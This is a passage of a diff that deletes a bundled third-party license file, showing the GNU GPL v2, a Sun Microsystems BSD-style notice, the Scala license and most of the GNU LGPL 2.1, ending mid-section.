-   51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-   Everyone is permitted to copy and distribute verbatim copies
-   of this license document, but changing it is not allowed.
-
-	    Preamble
-
-    The licenses for most software are designed to take away your
-  freedom to share and change it.  By contrast, the GNU General Public
-  License is intended to guarantee your freedom to share and change free
-  software--to make sure the software is free for all its users.  This
-  General Public License applies to most of the Free Software
-  Foundation's software and to any other program whose authors commit to
-  using it.  (Some other Free Software Foundation software is covered by
-  the GNU Lesser General Public License instead.)  You can apply it to
-  your programs, too.
-
-    When we speak of free software, we are referring to freedom, not
-  price.  Our General Public Licenses are designed to make sure that you
-  have the freedom to distribute copies of free software (and charge for
-  this service if you wish), that you receive source code or can get it
-  if you want it, that you can change the software or use pieces of it
-  in new free programs; and that you know you can do these things.
-
-    To protect your rights, we need to make restrictions that forbid
-  anyone to deny you these rights or to ask you to surrender the rights.
-  These restrictions translate to certain responsibilities for you if you
-  distribute copies of the software, or if you modify it.
-
-    For example, if you distribute copies of such a program, whether
-  gratis or for a fee, you must give the recipients all the rights that
-  you have.  You must make sure that they, too, receive or can get the
-  source code.  And you must show them these terms so they know their
-  rights.
-
-    We protect your rights with two steps: (1) copyright the software, and
-  (2) offer you this license which gives you legal permission to copy,
-  distribute and/or modify the software.
-
-    Also, for each author's protection and ours, we want to make certain
-  that everyone understands that there is no warranty for this free
-  software.  If the software is modified by someone else and passed on, we
-  want its recipients to know that what they have is not the original, so
-  that any problems introduced by others will not reflect on the original
-  authors' reputations.
-
-    Finally, any free program is threatened constantly by software
-  patents.  We wish to avoid the danger that redistributors of a free
-  program will individually obtain patent licenses, in effect making the
-  program proprietary.  To prevent this, we have made it clear that any
-  patent must be licensed for everyone's free use or not licensed at all.
-
-    The precise terms and conditions for copying, distribution and
-  modification follow.
-
-	  GNU GENERAL PUBLIC LICENSE
-     TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-    0. This License applies to any program or other work which contains
-  a notice placed by the copyright holder saying it may be distributed
-  under the terms of this General Public License.  The "Program", below,
-  refers to any such program or work, and a "work based on the Program"
-  means either the Program or any derivative work under copyright law:
-  that is to say, a work containing the Program or a portion of it,
-  either verbatim or with modifications and/or translated into another
-  language.  (Hereinafter, translation is included without limitation in
-  the term "modification".)  Each licensee is addressed as "you".
-
-  Activities other than copying, distribution and modification are not
-  covered by this License; they are outside its scope.  The act of
-  running the Program is not restricted, and the output from the Program
-  is covered only if its contents constitute a work based on the
-  Program (independent of having been made by running the Program).
-  Whether that is true depends on what the Program does.
-
-    1. You may copy and distribute verbatim copies of the Program's
-  source code as you receive it, in any medium, provided that you
-  conspicuously and appropriately publish on each copy an appropriate
-  copyright notice and disclaimer of warranty; keep intact all the
-  notices that refer to this License and to the absence of any warranty;
-  and give any other recipients of the Program a copy of this License
-  along with the Program.
-
-  You may charge a fee for the physical act of transferring a copy, and
-  you may at your option offer warranty protection in exchange for a fee.
-
-    2. You may modify your copy or copies of the Program or any portion
-  of it, thus forming a work based on the Program, and copy and
-  distribute such modifications or work under the terms of Section 1
-  above, provided that you also meet all of these conditions:
-
-      a) You must cause the modified files to carry prominent notices
-      stating that you changed the files and the date of any change.
-
-      b) You must cause any work that you distribute or publish, that in
-      whole or in part contains or is derived from the Program or any
-      part thereof, to be licensed as a whole at no charge to all third
-      parties under the terms of this License.
-
-      c) If the modified program normally reads commands interactively
-      when run, you must cause it, when started running for such
-      interactive use in the most ordinary way, to print or display an
-      announcement including an appropriate copyright notice and a
-      notice that there is no warranty (or else, saying that you provide
-      a warranty) and that users may redistribute the program under
-      these conditions, and telling the user how to view a copy of this
-      License.  (Exception: if the Program itself is interactive but
-      does not normally print such an announcement, your work based on
-      the Program is not required to print an announcement.)
-
-  These requirements apply to the modified work as a whole.  If
-  identifiable sections of that work are not derived from the Program,
-  and can be reasonably considered independent and separate works in
-  themselves, then this License, and its terms, do not apply to those
-  sections when you distribute them as separate works.  But when you
-  distribute the same sections as part of a whole which is a work based
-  on the Program, the distribution of the whole must be on the terms of
-  this License, whose permissions for other licensees extend to the
-  entire whole, and thus to each and every part regardless of who wrote it.
-
-  Thus, it is not the intent of this section to claim rights or contest
-  your rights to work written entirely by you; rather, the intent is to
-  exercise the right to control the distribution of derivative or
-  collective works based on the Program.
-
-  In addition, mere aggregation of another work not based on the Program
-  with the Program (or with a work based on the Program) on a volume of
-  a storage or distribution medium does not bring the other work under
-  the scope of this License.
-
-    3. You may copy and distribute the Program (or a work based on it,
-  under Section 2) in object code or executable form under the terms of
-  Sections 1 and 2 above provided that you also do one of the following:
-
-      a) Accompany it with the complete corresponding machine-readable
-      source code, which must be distributed under the terms of Sections
-      1 and 2 above on a medium customarily used for software interchange; or,
-
-      b) Accompany it with a written offer, valid for at least three
-      years, to give any third party, for a charge no more than your
-      cost of physically performing source distribution, a complete
-      machine-readable copy of the corresponding source code, to be
-      distributed under the terms of Sections 1 and 2 above on a medium
-      customarily used for software interchange; or,
-
-      c) Accompany it with the information you received as to the offer
-      to distribute corresponding source code.  (This alternative is
-      allowed only for noncommercial distribution and only if you
-      received the program in object code or executable form with such
-      an offer, in accord with Subsection b above.)
-
-  The source code for a work means the preferred form of the work for
-  making modifications to it.  For an executable work, complete source
-  code means all the source code for all modules it contains, plus any
-  associated interface definition files, plus the scripts used to
-  control compilation and installation of the executable.  However, as a
-  special exception, the source code distributed need not include
-  anything that is normally distributed (in either source or binary
-  form) with the major components (compiler, kernel, and so on) of the
-  operating system on which the executable runs, unless that component
-  itself accompanies the executable.
-
-  If distribution of executable or object code is made by offering
-  access to copy from a designated place, then offering equivalent
-  access to copy the source code from the same place counts as
-  distribution of the source code, even though third parties are not
-  compelled to copy the source along with the object code.
-
-    4. You may not copy, modify, sublicense, or distribute the Program
-  except as expressly provided under this License.  Any attempt
-  otherwise to copy, modify, sublicense or distribute the Program is
-  void, and will automatically terminate your rights under this License.
-  However, parties who have received copies, or rights, from you under
-  this License will not have their licenses terminated so long as such
-  parties remain in full compliance.
-
-    5. You are not required to accept this License, since you have not
-  signed it.  However, nothing else grants you permission to modify or
-  distribute the Program or its derivative works.  These actions are
-  prohibited by law if you do not accept this License.  Therefore, by
-  modifying or distributing the Program (or any work based on the
-  Program), you indicate your acceptance of this License to do so, and
-  all its terms and conditions for copying, distributing or modifying
-  the Program or works based on it.
-
-    6. Each time you redistribute the Program (or any work based on the
-  Program), the recipient automatically receives a license from the
-  original licensor to copy, distribute or modify the Program subject to
-  these terms and conditions.  You may not impose any further
-  restrictions on the recipients' exercise of the rights granted herein.
-  You are not responsible for enforcing compliance by third parties to
-  this License.
-
-    7. If, as a consequence of a court judgment or allegation of patent
-  infringement or for any other reason (not limited to patent issues),
-  conditions are imposed on you (whether by court order, agreement or
-  otherwise) that contradict the conditions of this License, they do not
-  excuse you from the conditions of this License.  If you cannot
-  distribute so as to satisfy simultaneously your obligations under this
-  License and any other pertinent obligations, then as a consequence you
-  may not distribute the Program at all.  For example, if a patent
-  license would not permit royalty-free redistribution of the Program by
-  all those who receive copies directly or indirectly through you, then
-  the only way you could satisfy both it and this License would be to
-  refrain entirely from distribution of the Program.
-
-  If any portion of this section is held invalid or unenforceable under
-  any particular circumstance, the balance of the section is intended to
-  apply and the section as a whole is intended to apply in other
-  circumstances.
-
-  It is not the purpose of this section to induce you to infringe any
-  patents or other property right claims or to contest validity of any
-  such claims; this section has the sole purpose of protecting the
-  integrity of the free software distribution system, which is
-  implemented by public license practices.  Many people have made
-  generous contributions to the wide range of software distributed
-  through that system in reliance on consistent application of that
-  system; it is up to the author/donor to decide if he or she is willing
-  to distribute software through any other system and a licensee cannot
-  impose that choice.
-
-  This section is intended to make thoroughly clear what is believed to
-  be a consequence of the rest of this License.
-
-    8. If the distribution and/or use of the Program is restricted in
-  certain countries either by patents or by copyrighted interfaces, the
-  original copyright holder who places the Program under this License
-  may add an explicit geographical distribution limitation excluding
-  those countries, so that distribution is permitted only in or among
-  countries not thus excluded.  In such case, this License incorporates
-  the limitation as if written in the body of this License.
-
-    9. The Free Software Foundation may publish revised and/or new versions
-  of the General Public License from time to time.  Such new versions will
-  be similar in spirit to the present version, but may differ in detail to
-  address new problems or concerns.
-
-  Each version is given a distinguishing version number.  If the Program
-  specifies a version number of this License which applies to it and "any
-  later version", you have the option of following the terms and conditions
-  either of that version or of any later version published by the Free
-  Software Foundation.  If the Program does not specify a version number of
-  this License, you may choose any version ever published by the Free Software
-  Foundation.
-
-    10. If you wish to incorporate parts of the Program into other free
-  programs whose distribution conditions are different, write to the author
-  to ask for permission.  For software which is copyrighted by the Free
-  Software Foundation, write to the Free Software Foundation; we sometimes
-  make exceptions for this.  Our decision will be guided by the two goals
-  of preserving the free status of all derivatives of our free software and
-  of promoting the sharing and reuse of software generally.
-
-	    NO WARRANTY
-
-    11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-  FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-  OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-  PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-  OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-  TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-  PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-  REPAIR OR CORRECTION.
-
-    12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-  WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-  REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-  INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-  OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-  TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-  YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-  PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-  POSSIBILITY OF SUCH DAMAGES.
-
-	   END OF TERMS AND CONDITIONS
-
-	How to Apply These Terms to Your New Programs
-
-    If you develop a new program, and you want it to be of the greatest
-  possible use to the public, the best way to achieve this is to make it
-  free software which everyone can redistribute and change under these terms.
-
-    To do so, attach the following notices to the program.  It is safest
-  to attach them to the start of each source file to most effectively
-  convey the exclusion of warranty; and each file should have at least
-  the "copyright" line and a pointer to where the full notice is found.
-
-      <one line to give the program's name and a brief idea of what it does.>
-      Copyright (C) <year>  <name of author>
-
-      This program is free software; you can redistribute it and/or modify
-      it under the terms of the GNU General Public License as published by
-      the Free Software Foundation; either version 2 of the License, or
-      (at your option) any later version.
-
-      This program is distributed in the hope that it will be useful,
-      but WITHOUT ANY WARRANTY; without even the implied warranty of
-      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-      GNU General Public License for more details.
-
-      You should have received a copy of the GNU General Public License along
-      with this program; if not, write to the Free Software Foundation, Inc.,
-      51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-  Also add information on how to contact you by electronic and paper mail.
-
-  If the program is interactive, make it output a short notice like this
-  when it starts in an interactive mode:
-
-      Gnomovision version 69, Copyright (C) year name of author
-      Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-      This is free software, and you are welcome to redistribute it
-      under certain conditions; type `show c' for details.
-
-  The hypothetical commands `show w' and `show c' should show the appropriate
-  parts of the General Public License.  Of course, the commands you use may
-  be called something other than `show w' and `show c'; they could even be
-  mouse-clicks or menu items--whatever suits your program.
-
-  You should also get your employer (if you work as a programmer) or your
-  school, if any, to sign a "copyright disclaimer" for the program, if
-  necessary.  Here is a sample; alter the names:
-
-    Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-    `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-    <signature of Ty Coon>, 1 April 1989
-    Ty Coon, President of Vice
-
-  This General Public License does not permit incorporating your program into
-  proprietary programs.  If your program is a subroutine library, you may
-  consider it more useful to permit linking proprietary applications with the
-  library.  If this is what you want to do, use the GNU Lesser General
-  Public License instead of this License.
-============================================================================
-
-Additionally, some files (currently the contents of
-toolsrc/org/mozilla/javascript/tools/debugger/treetable/) are available
-only under the following license:
-
-============================================================================
- * Copyright 1997, 1998 Sun Microsystems, Inc.  All Rights Reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- *   - Redistributions of source code must retain the above copyright
- *     notice, this list of conditions and the following disclaimer.
- *
- *   - Redistributions in binary form must reproduce the above copyright
- *     notice, this list of conditions and the following disclaimer in the
- *     documentation and/or other materials provided with the distribution.
- *
- *   - Neither the name of Sun Microsystems nor the names of its
- *     contributors may be used to endorse or promote products derived
- *     from this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
- * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
- * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-============================================================================
-
---------------------------------------------------------------------------------
-scala_license.txt:
-SCALA LICENSE
-
-Copyright (c) 2002-2012 EPFL, Lausanne, unless otherwise specified.
-All rights reserved.
-
-This software was developed by the Programming Methods Laboratory of the
-Swiss Federal Institute of Technology (EPFL), Lausanne, Switzerland.
-
-Permission to use, copy, modify, and distribute this software in source
-or binary form for any purpose with or without fee is hereby granted,
-provided that the following conditions are met:
-
-   1. Redistributions of source code must retain the above copyright
-      notice, this list of conditions and the following disclaimer.
-
-   2. Redistributions in binary form must reproduce the above copyright
-      notice, this list of conditions and the following disclaimer in the
-      documentation and/or other materials provided with the distribution.
-
-   3. Neither the name of the EPFL nor the names of its contributors
-      may be used to endorse or promote products derived from this
-      software without specific prior written permission.
-
-
-THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGE.
---------------------------------------------------------------------------------
-trove_license.txt:
-          GNU LESSER GENERAL PUBLIC LICENSE
-               Version 2.1, February 1999
-
- Copyright (C) 1991, 1999 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-[This is the first released version of the Lesser GPL.  It also counts
- as the successor of the GNU Library Public License, version 2, hence
- the version number 2.1.]
-
-                Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-Licenses are intended to guarantee your freedom to share and change
-free software--to make sure the software is free for all its users.
-
-  This license, the Lesser General Public License, applies to some
-specially designated software packages--typically libraries--of the
-Free Software Foundation and other authors who decide to use it.  You
-can use it too, but we suggest you first think carefully about whether
-this license or the ordinary General Public License is the better
-strategy to use in any particular case, based on the explanations below.
-
-  When we speak of free software, we are referring to freedom of use,
-not price.  Our General Public Licenses are designed to make sure that
-you have the freedom to distribute copies of free software (and charge
-for this service if you wish); that you receive source code or can get
-it if you want it; that you can change the software and use pieces of
-it in new free programs; and that you are informed that you can do
-these things.
-
-  To protect your rights, we need to make restrictions that forbid
-distributors to deny you these rights or to ask you to surrender these
-rights.  These restrictions translate to certain responsibilities for
-you if you distribute copies of the library or if you modify it.
-
-  For example, if you distribute copies of the library, whether gratis
-or for a fee, you must give the recipients all the rights that we gave
-you.  You must make sure that they, too, receive or can get the source
-code.  If you link other code with the library, you must provide
-complete object files to the recipients, so that they can relink them
-with the library after making changes to the library and recompiling
-it.  And you must show them these terms so they know their rights.
-
-  We protect your rights with a two-step method: (1) we copyright the
-library, and (2) we offer you this license, which gives you legal
-permission to copy, distribute and/or modify the library.
-
-  To protect each distributor, we want to make it very clear that
-there is no warranty for the free library.  Also, if the library is
-modified by someone else and passed on, the recipients should know
-that what they have is not the original version, so that the original
-author's reputation will not be affected by problems that might be
-introduced by others.
-
-  Finally, software patents pose a constant threat to the existence of
-any free program.  We wish to make sure that a company cannot
-effectively restrict the users of a free program by obtaining a
-restrictive license from a patent holder.  Therefore, we insist that
-any patent license obtained for a version of the library must be
-consistent with the full freedom of use specified in this license.
-
-  Most GNU software, including some libraries, is covered by the
-ordinary GNU General Public License.  This license, the GNU Lesser
-General Public License, applies to certain designated libraries, and
-is quite different from the ordinary General Public License.  We use
-this license for certain libraries in order to permit linking those
-libraries into non-free programs.
-
-  When a program is linked with a library, whether statically or using
-a shared library, the combination of the two is legally speaking a
-combined work, a derivative of the original library.  The ordinary
-General Public License therefore permits such linking only if the
-entire combination fits its criteria of freedom.  The Lesser General
-Public License permits more lax criteria for linking other code with
-the library.
-
-  We call this license the "Lesser" General Public License because it
-does Less to protect the user's freedom than the ordinary General
-Public License.  It also provides other free software developers Less
-of an advantage over competing non-free programs.  These disadvantages
-are the reason we use the ordinary General Public License for many
-libraries.  However, the Lesser license provides advantages in certain
-special circumstances.
-
-  For example, on rare occasions, there may be a special need to
-encourage the widest possible use of a certain library, so that it becomes
-a de-facto standard.  To achieve this, non-free programs must be
-allowed to use the library.  A more frequent case is that a free
-library does the same job as widely used non-free libraries.  In this
-case, there is little to gain by limiting the free library to free
-software only, so we use the Lesser General Public License.
-
-  In other cases, permission to use a particular library in non-free
-programs enables a greater number of people to use a large body of
-free software.  For example, permission to use the GNU C Library in
-non-free programs enables many more people to use the whole GNU
-operating system, as well as its variant, the GNU/Linux operating
-system.
-
-  Although the Lesser General Public License is Less protective of the
-users' freedom, it does ensure that the user of a program that is
-linked with the Library has the freedom and the wherewithal to run
-that program using a modified version of the Library.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.  Pay close attention to the difference between a
-"work based on the library" and a "work that uses the library".  The
-former contains code derived from the library, whereas the latter must
-be combined with the library in order to run.
-
-          GNU LESSER GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License Agreement applies to any software library or other
-program which contains a notice placed by the copyright holder or
-other authorized party saying it may be distributed under the terms of
-this Lesser General Public License (also called "this License").
-Each licensee is addressed as "you".
-
-  A "library" means a collection of software functions and/or data
-prepared so as to be conveniently linked with application programs
-(which use some of those functions and data) to form executables.
-
-  The "Library", below, refers to any such software library or work
-which has been distributed under these terms.  A "work based on the
-Library" means either the Library or any derivative work under
-copyright law: that is to say, a work containing the Library or a
-portion of it, either verbatim or with modifications and/or translated
-straightforwardly into another language.  (Hereinafter, translation is
-included without limitation in the term "modification".)
-
-  "Source code" for a work means the preferred form of the work for
-making modifications to it.  For a library, complete source code means
-all the source code for all modules it contains, plus any associated
-interface definition files, plus the scripts used to control compilation
-and installation of the library.
-
-  Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running a program using the Library is not restricted, and output from
-such a program is covered only if its contents constitute a work based
-on the Library (independent of the use of the Library in a tool for
-writing it).  Whether that is true depends on what the Library does
-and what the program that uses the Library does.
-
-  1. You may copy and distribute verbatim copies of the Library's
-complete source code as you receive it, in any medium, provided that
-you conspicuously and appropriately publish on each copy an
-appropriate copyright notice and disclaimer of warranty; keep intact
-all the notices that refer to this License and to the absence of any
-warranty; and distribute a copy of this License along with the
-Library.
-
-  You may charge a fee for the physical act of transferring a copy,
-and you may at your option offer warranty protection in exchange for a
-fee.
-
-  2. You may modify your copy or copies of the Library or any portion
-of it, thus forming a work based on the Library, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) The modified work must itself be a software library.
-
-    b) You must cause the files modified to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    c) You must cause the whole of the work to be licensed at no
-    charge to all third parties under the terms of this License.
-
-    d) If a facility in the modified Library refers to a function or a
-    table of data to be supplied by an application program that uses
-    the facility, other than as an argument passed when the facility
-    is invoked, then you must make a good faith effort to ensure that,
-    in the event an application does not supply such function or
-    table, the facility still operates, and performs whatever part of
-    its purpose remains meaningful.
-
-    (For example, a function in a library to compute square roots has
-    a purpose that is entirely well-defined independent of the
-    application.  Therefore, Subsection 2d requires that any
-    application-supplied function or table used by this function must
-    be optional: if the application does not supply it, the square
-    root function must still compute square roots.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Library,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Library, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote
-it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Library.
-
-In addition, mere aggregation of another work not based on the Library
-with the Library (or with a work based on the Library) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may opt to apply the terms of the ordinary GNU General Public
-License instead of this License to a given copy of the Library.  To do
-this, you must alter all the notices that refer to this License, so
-that they refer to the ordinary GNU General Public License, version 2,
-instead of to this License.  (If a newer version than version 2 of the
-ordinary GNU General Public License has appeared, then you can specify
-that version instead if you wish.)  Do not make any other change in
-these notices.
-
-  Once this change is made in a given copy, it is irreversible for
-that copy, so the ordinary GNU General Public License applies to all
-subsequent copies and derivative works made from that copy.
-
-  This option is useful when you wish to copy part of the code of
-the Library into a program that is not a library.
-
-  4. You may copy and distribute the Library (or a portion or
-derivative of it, under Section 2) in object code or executable form
-under the terms of Sections 1 and 2 above provided that you accompany
-it with the complete corresponding machine-readable source code, which
-must be distributed under the terms of Sections 1 and 2 above on a
-medium customarily used for software interchange.
-
-  If distribution of object code is made by offering access to copy
-from a designated place, then offering equivalent access to copy the
-source code from the same place satisfies the requirement to
-distribute the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  5. A program that contains no derivative of any portion of the
-Library, but is designed to work with the Library by being compiled or
-linked with it, is called a "work that uses the Library".  Such a
-work, in isolation, is not a derivative work of the Library, and
-therefore falls outside the scope of this License.
-
-  However, linking a "work that uses the Library" with the Library
-creates an executable that is a derivative of the Library (because it
-contains portions of the Library), rather than a "work that uses the
-library".  The executable is therefore covered by this License.
-Section 6 states terms for distribution of such executables.
-
-  When a "work that uses the Library" uses material from a header file
-that is part of the Library, the object code for the work may be a
-derivative work of the Library even though the source code is not.
-Whether this is true is especially significant if the work can be
-linked without the Library, or if the work is itself a library.  The
-threshold for this to be true is not precisely defined by law.
-
-  If such an object file uses only numerical parameters, data
-structure layouts and accessors, and small macros and small inline
-functions (ten lines or less in length), then the use of the object
-file is unrestricted, regardless of whether it is legally a derivative
-work.  (Executables containing this object code plus portions of the
-Library will still fall under Section 6.)
-
-  Otherwise, if the work is a derivative of the Library, you may
-distribute the object code for the work under the terms of Section 6.
-Any executables containing that work also fall under Section 6,
-whether or not they are linked directly with the Library itself.
-
-  6. As an exception to the Sections above, you may also combine or
-link a "work that uses the Library" with the Library to produce a
-work containing portions of the Library, and distribute that work
-under terms of your choice, provided that the terms permit
-modification of the work for the customer's own use and reverse
-engineering for debugging such modifications.
-
-  You must give prominent notice with each copy of the work that the
-Library is used in it and that the Library and its use are covered by
-this License.  You must supply a copy of this License.  If the work
-during execution displays copyright notices, you must include the
-copyright notice for the Library among them, as well as a reference
-directing the user to the copy of this License.  Also, you must do one
-of these things:
-
-    a) Accompany the work with the complete corresponding
-    machine-readable source code for the Library including whatever
-    changes were used in the work (which must be distributed under
-    Sections 1 and 2 above); and, if the work is an executable linked
-    with the Library, with the complete machine-readable "work that
-    uses the Library", as object code and/or source code, so that the
-    user can modify the Library and then relink to produce a modified
-    executable containing the modified Library.  (It is understood
-    that the user who changes the contents of definitions files in the
-    Library will not necessarily be able to recompile the application
-    to use the modified definitions.)
-
-    b) Use a suitable shared library mechanism for linking with the
-    Library.  A suitable mechanism is one that (1) uses at run time a
-    copy of the library already present on the user's computer system,
-    rather than copying library functions into the executable, and (2)
-    will operate properly with a modified version of the library, if
-    the user installs one, as long as the modified version is
-    interface-compatible with the version that the work was made with.
-
-    c) Accompany the work with a written offer, valid for at
-    least three years, to give the same user the materials
-    specified in Subsection 6a, above, for a charge no more
-    than the cost of performing this distribution.
-
-    d) If distribution of the work is made by offering access to copy
-    from a designated place, offer equivalent access to copy the above
-    specified materials from the same place.
-
-    e) Verify that the user has already received a copy of these
-    materials or that you have already sent this user a copy.
-
-  For an executable, the required form of the "work that uses the
-Library" must include any data and utility programs needed for
-reproducing the executable from it.  However, as a special exception,
-the materials to be distributed need not include anything that is
-normally distributed (in either source or binary form) with the major
-components (compiler, kernel, and so on) of the operating system on
-which the executable runs, unless that component itself accompanies
-the executable.
-
-  It may happen that this requirement contradicts the license
-restrictions of other proprietary libraries that do not normally
-accompany the operating system.  Such a contradiction means you cannot
-use both them and the Library together in an executable that you
-distribute.
-
-  7. You may place library facilities that are a work based on the
-Library side-by-side in a single library together with other library
-facilities not covered by this License, and distribute such a combined
-library, provided that the separate distribution of the work based on
-the Library and of the other library facilities is otherwise
-permitted, and provided that you do these two things:
-
-    a) Accompany the combined library with a copy of the same work
-    based on the Library, uncombined with any other library
-    facilities.  This must be distributed under the terms of the
-    Sections above.
-
-    b) Give prominent notice with the combined library of the fact
-    that part of it is a work based on the Library, and explaining
-    where to find the accompanying uncombined form of the same work.
-
-  8. You may not copy, modify, sublicense, link with, or distribute
-the Library except as expressly provided under this License.  Any
-attempt otherwise to copy, modify, sublicense, link with, or
-distribute the Library is void, and will automatically terminate your
-rights under this License.  However, parties who have received copies,
-or rights, from you under this License will not have their licenses
-terminated so long as such parties remain in full compliance.
-
-  9. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Library or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Library (or any work based on the
-Library), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Library or works based on it.
-
-  10. Each time you redistribute the Library (or any work based on the
-Library), the recipient automatically receives a license from the
-original licensor to copy, distribute, link with or modify the Library
-subject to these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties with
-this License.
-
-  11. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Library at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Library by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Library.
-
-If any portion of this section is held invalid or unenforceable under any
-particular circumstance, the balance of the section is intended to apply,
-and the section as a whole is intended to apply in other circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  12. If the distribution and/or use of the Library is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Library under this License may add
-an explicit geographical distribution limitation excluding those countries,
-so that distribution is permitted only in or among countries not thus
-excluded.  In such case, this License incorporates the limitation as if
